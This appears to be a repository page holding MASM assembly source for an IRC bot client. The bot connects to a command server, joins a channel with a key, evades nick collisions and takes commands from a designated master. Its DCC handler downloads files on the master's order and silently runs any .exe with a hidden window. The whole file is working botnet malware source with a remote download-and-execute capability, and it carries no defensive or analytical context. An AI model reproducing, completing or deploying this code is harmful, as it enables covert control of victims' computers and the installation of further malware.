-
Notifications
You must be signed in to change notification settings - Fork 1
/
irc.asm
341 lines (332 loc) · 9.82 KB
/
irc.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
IrcConnect proto :dword, :dword, :dword, :dword
IrcThread proto :dword
ParseLine proto :dword, :dword, :dword
DccReceive proto :dword
IRC_CONNECT struct
dwsocket dword ?
dwserver dword ?
dwport dword ?
bsync byte ?
sznick byte 64 dup (?)
szchan byte 64 dup (?)
IRC_CONNECT ends
DCC_RECEIVE struct
bsync byte ?
szfile byte 64 dup (?)
szip byte 64 dup (?)
szport byte 64 dup (?)
szsize byte 64 dup (?)
DCC_RECEIVE ends
.data
szCrLf byte 10
szExe byte 'exe', 0
.data?
szIrcBuffer byte 1024 dup (?)
szLineBuffer byte 1024 dup (?)
szArgumentBuffer byte 1024 dup (?)
szBotCommand byte 64 dup (?)
szCommand byte 64 dup (?)
szFrom byte 64 dup (?)
szPort byte 32 dup (?)
szTo byte 64 dup (?)
szEXE byte 32 dup (?)
.code
IrcConnect proc szChannel:dword, szNick:dword, szServer:dword, dwPort:dword
local irc:IRC_CONNECT
mov eax, dwPort
mov irc.dwport, eax
invoke CopyMemory, addr irc.szchan, szChannel, 64
invoke CopyMemory, addr irc.sznick, szNick, 64
invoke gethostbyname, szServer
mov eax, [eax + 12]
mov eax, [eax]
mov eax, [eax]
mov irc.dwserver, eax
invoke CreateThread, 0, 0, addr IrcThread, addr irc, 0, 0
push eax
.while irc.bsync != 1
invoke Sleep, 10
.endw
invoke dwtoa, dwServerPort, addr szPort
invoke wsprintf, addr szIrcBuffer, addr szIrcThread, szServer, addr szPort
pop eax
invoke AddThread, eax, addr szIrcBuffer, irc.dwsocket, 0
ret
IrcConnect endp
IrcThread proc uses eax ebx ecx esi edi lpParam:dword
local irc:IRC_CONNECT
local dwSocket:dword
local dwLen:dword
local dwMax:dword
local SockAddrIn:sockaddr_in
invoke CopyMemory, addr irc, lpParam, sizeof irc
@@:
invoke socket, PF_INET, SOCK_STREAM, 0
mov dwSocket, eax
mov eax, lpParam
assume eax:ptr IRC_CONNECT
mov ecx, dwSocket
mov [eax].dwsocket, ecx
mov [eax].bsync, 1
assume eax:nothing
mov SockAddrIn.sin_family, AF_INET
invoke htons, irc.dwport
mov SockAddrIn.sin_port, ax
mov eax, irc.dwserver
mov SockAddrIn.sin_addr, eax
invoke connect, dwSocket, addr SockAddrIn, sizeof SockAddrIn
.if eax == SOCKET_ERROR
invoke Sleep, 15000
jmp @B
.endif
invoke wsprintf, addr szIrcBuffer, addr szNICK, addr irc.sznick
invoke lstrlen, addr szIrcBuffer
mov ecx, eax
invoke send, dwSocket, addr szIrcBuffer, ecx, 0
invoke wsprintf, addr szIrcBuffer, addr szUSER, addr irc.sznick, addr irc.sznick
invoke lstrlen, addr szIrcBuffer
mov ecx, eax
invoke send, dwSocket, addr szIrcBuffer, ecx, 0
.while TRUE
invoke Sleep, 1
invoke RtlZeroMemory, addr szIrcBuffer, 1022
invoke recv, dwSocket, addr szIrcBuffer, sizeof szIrcBuffer, 0
.if eax < 1
jmp recverror
.endif
mov esi, offset szIrcBuffer
mov edi, offset szLineBuffer
lea ecx, [esi+eax-2]
mov dwLen, ecx
lea ecx, [esi+1022]
mov dwMax, ecx
.while esi <= dwLen && esi <= dwMax
lodsb
.if al == 0
jmp recvdone
.endif
.if al == 13
lodsb
.if al == 10
mov al, 0
stosb
invoke ParseLine, dwSocket, addr szLineBuffer, addr irc.szchan
mov edi, offset szLineBuffer
.continue
.endif
.endif
stosb
.endw
recvdone:
.endw
recverror:
invoke closesocket, dwSocket
ret
IrcThread endp
SendMsg proc uses eax ecx esi edi dwSocket:dword, szUser:dword, szMessage:dword
local szEncryptedBuffer[1024]:byte
local szMsgBuffer[1024]:byte
invoke lstrcpy, addr szEncryptedBuffer, szMessage
;#NO_IRC_ENCRYPTION 1
;invoke Encrypt, addr szEncryptedBuffer
invoke wsprintf, addr szMsgBuffer, addr szMSG, szUser, addr szEncryptedBuffer
invoke lstrlen, addr szMsgBuffer
mov ecx, eax
invoke send, dwSocket, addr szMsgBuffer, ecx, 0
ret
SendMsg endp
ParseLine proc uses eax ebx ecx esi edi dwSocket:dword, dwcommandline:dword, szChannel:dword
local dwCommandLine[1024]:dword
local dcc:DCC_RECEIVE
invoke lstrcpy, addr dwCommandLine, dwcommandline
invoke lstrlen, addr dwCommandLine
.if eax == 0
ret
.endif
invoke GetToken, addr szParseBuffer, addr dwCommandLine, 32, 1, FALSE
invoke lstrcmpi, addr szParseBuffer, addr szPING
.if eax == 0
invoke GetToken, addr szParseBuffer, addr dwCommandLine, 32, 2, FALSE
lea eax, offset szParseBuffer + 1
invoke wsprintf, addr szIrcBuffer, addr szPONG, eax
invoke lstrlen, addr szIrcBuffer
mov ecx, eax
invoke send, dwSocket, addr szIrcBuffer, ecx, 0
jmp done
.endif
lea eax, offset szParseBuffer + 1
invoke lstrcpy, addr szFrom, eax
invoke GetToken, addr szParseBuffer, addr szFrom, 33, 1, FALSE
invoke lstrcpy, addr szFrom, addr szParseBuffer
invoke GetToken, addr szCommand, addr dwCommandLine, 32, 2, FALSE
invoke lstrcmpi, addr szCommand, addr sz001
.if eax == 0
invoke wsprintf, addr szIrcBuffer, addr szJOIN, szChannel, addr szKey
invoke lstrlen, addr szIrcBuffer
mov ecx, eax
invoke send, dwSocket, addr szIrcBuffer, ecx, 0
.endif
invoke lstrcmpi, addr szCommand, addr sz005
.if eax == 0
invoke wsprintf, addr szIrcBuffer, addr szJOIN, szChannel, addr szKey
invoke lstrlen, addr szIrcBuffer
mov ecx, eax
invoke send, dwSocket, addr szIrcBuffer, ecx, 0
.endif
invoke lstrcmpi, addr szCommand, addr sz433
.if eax == 0
invoke GetRandNick
invoke lstrcpy, addr szRandNick, dwNickPointer
invoke GetTickCount
xor ecx, ecx
xor al, ah
mov cl, al
invoke dwtoa, ecx, addr szRandNum
invoke lstrcat, addr szRandNick, addr szRandNum
invoke wsprintf, addr szIrcBuffer, addr szNICK, addr szRandNick
invoke lstrlen, addr szIrcBuffer
mov ecx, eax
invoke send, dwSocket, addr szIrcBuffer, ecx, 0
.endif
invoke lstrcmpi, addr szCommand, addr szPRIVMSG
.if eax == 0
invoke GetToken, addr szTo, addr dwCommandLine, 32, 3, FALSE
invoke GetToken, addr szParseBuffer, addr dwCommandLine, 32, 4, TRUE
mov esi, offset szParseBuffer
mov edi, offset szParseBuffer
add esi, 2
@@:
mov al, [esi]
inc esi
mov [edi], al
inc edi
cmp al, 0
je @F
jmp @B
@@:
invoke GetToken, addr szBotCommand, addr szParseBuffer, 32, 1, FALSE
invoke lstrcmpi, addr szBotCommand, addr szDCC
.if eax == 0
invoke lstrcmpi, addr szFrom, addr szMaster
.if eax == 0
mov dcc.bsync, 0
invoke GetToken, addr dcc.szfile, addr szParseBuffer, 32, 3, FALSE
invoke GetToken, addr dcc.szip, addr szParseBuffer, 32, 4, FALSE
invoke GetToken, addr dcc.szport, addr szParseBuffer, 32, 5, FALSE
invoke GetToken, addr dcc.szsize, addr szParseBuffer, 32, 6, FALSE
invoke lstrlen, addr dcc.szsize
dec eax
invoke lstrcpyn, addr szParseBuffer, addr dcc.szsize, eax
invoke lstrcpy, addr dcc.szsize, addr szParseBuffer
invoke CreateThread, 0, 16384, addr DccReceive, addr dcc, 0, 0
push eax
.while dcc.bsync != 1
invoke Sleep, 10
.endw
pop eax
invoke CloseHandle, eax
.endif
jmp done
.endif
;#NO_IRC_ENCRYPTION 1
; invoke Decrypt, addr szParseBuffer
invoke GetToken, addr szBotCommand, addr szParseBuffer, 32, 1, FALSE
invoke GetToken, addr szArgumentBuffer, addr szParseBuffer, 32, 2, TRUE
mov esi, offset szTo
mov al, [esi]
.if al == 35
invoke ParseCommand, dwSocket, addr szFrom, addr szTo, addr szBotCommand, addr szArgumentBuffer
.else
invoke ParseCommand, dwSocket, addr szFrom, addr szFrom, addr szBotCommand, addr szArgumentBuffer
.endif
.endif
done:
ret
ParseLine endp
DccReceive proc lpParam: dword
local dcc:DCC_RECEIVE
local dccbuf[64]:byte
local dwBytes:dword
local dwBytesWritten:dword
local dwTotalBytes:dword
local dwBytesReceived:dword
local dwSocket:dword
local dwMode:dword
local hFile:dword
local SockAddrIn:sockaddr_in
local DCCbuffer[8192]:byte
invoke CopyMemory, addr dcc, lpParam, sizeof dcc
mov eax, lpParam
assume eax:ptr DCC_RECEIVE
mov [eax].bsync, 1
assume eax:nothing
invoke socket, PF_INET, SOCK_STREAM, 0
mov dwSocket, eax
mov SockAddrIn.sin_family, AF_INET
invoke atodw, addr dcc.szport
invoke htons, eax
mov SockAddrIn.sin_port, ax
invoke atodw, addr dcc.szip
invoke htonl, eax
mov SockAddrIn.sin_addr, eax
invoke connect, dwSocket, addr SockAddrIn, sizeof SockAddrIn
mov dwMode, 1
invoke ioctlsocket, dwSocket, FIONBIO, addr dwMode
invoke CreateFile, addr dcc.szfile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov hFile, eax
invoke atodw, addr dcc.szsize
invoke htonl, eax
mov dwTotalBytes, eax
mov dwBytesReceived, 0
@@:
recvloop:
invoke Sleep, 1
invoke recv, dwSocket, addr DCCbuffer, 8192, 0
mov dwBytes, eax
.if eax == SOCKET_ERROR || eax == 0
invoke WSAGetLastError
.if eax == WSAEWOULDBLOCK
jmp recvloop
.else
jmp enddcc
.endif
.endif
mov eax, dwBytesReceived
add eax, dwBytes
mov dwBytesReceived, eax
invoke WriteFile, hFile, addr DCCbuffer, dwBytes, addr dwBytesWritten, 0
sendloop:
invoke Sleep, 1
invoke ntohl, dwBytesReceived
mov dwBytes, eax
invoke send, dwSocket, addr dwBytes, 4, 0
.if eax == SOCKET_ERROR
invoke WSAGetLastError
.if eax == WSAEWOULDBLOCK
jmp sendloop
.endif
.endif
jmp @B
enddcc:
invoke CloseHandle, hFile
invoke closesocket, dwSocket
invoke lstrcpy, addr szEXE, addr dcc.szfile
invoke lstrlen, addr szEXE
mov ecx, eax
sub ecx, 3
mov esi, offset szEXE
add esi, ecx
mov edi, offset szEXE
movsb
movsb
movsb
mov al, 0
stosb
invoke lstrcmpi, addr szEXE, addr szExe
.if eax == 0
mov sStartupInfo.dwFlags, STARTF_USESHOWWINDOW
mov sStartupInfo.wShowWindow, SW_HIDE
invoke CreateProcess, 0, addr dcc.szfile, 0, 0, FALSE, 0, 0, 0, addr sStartupInfo, addr sProcessInfo
.endif
ret
DccReceive endp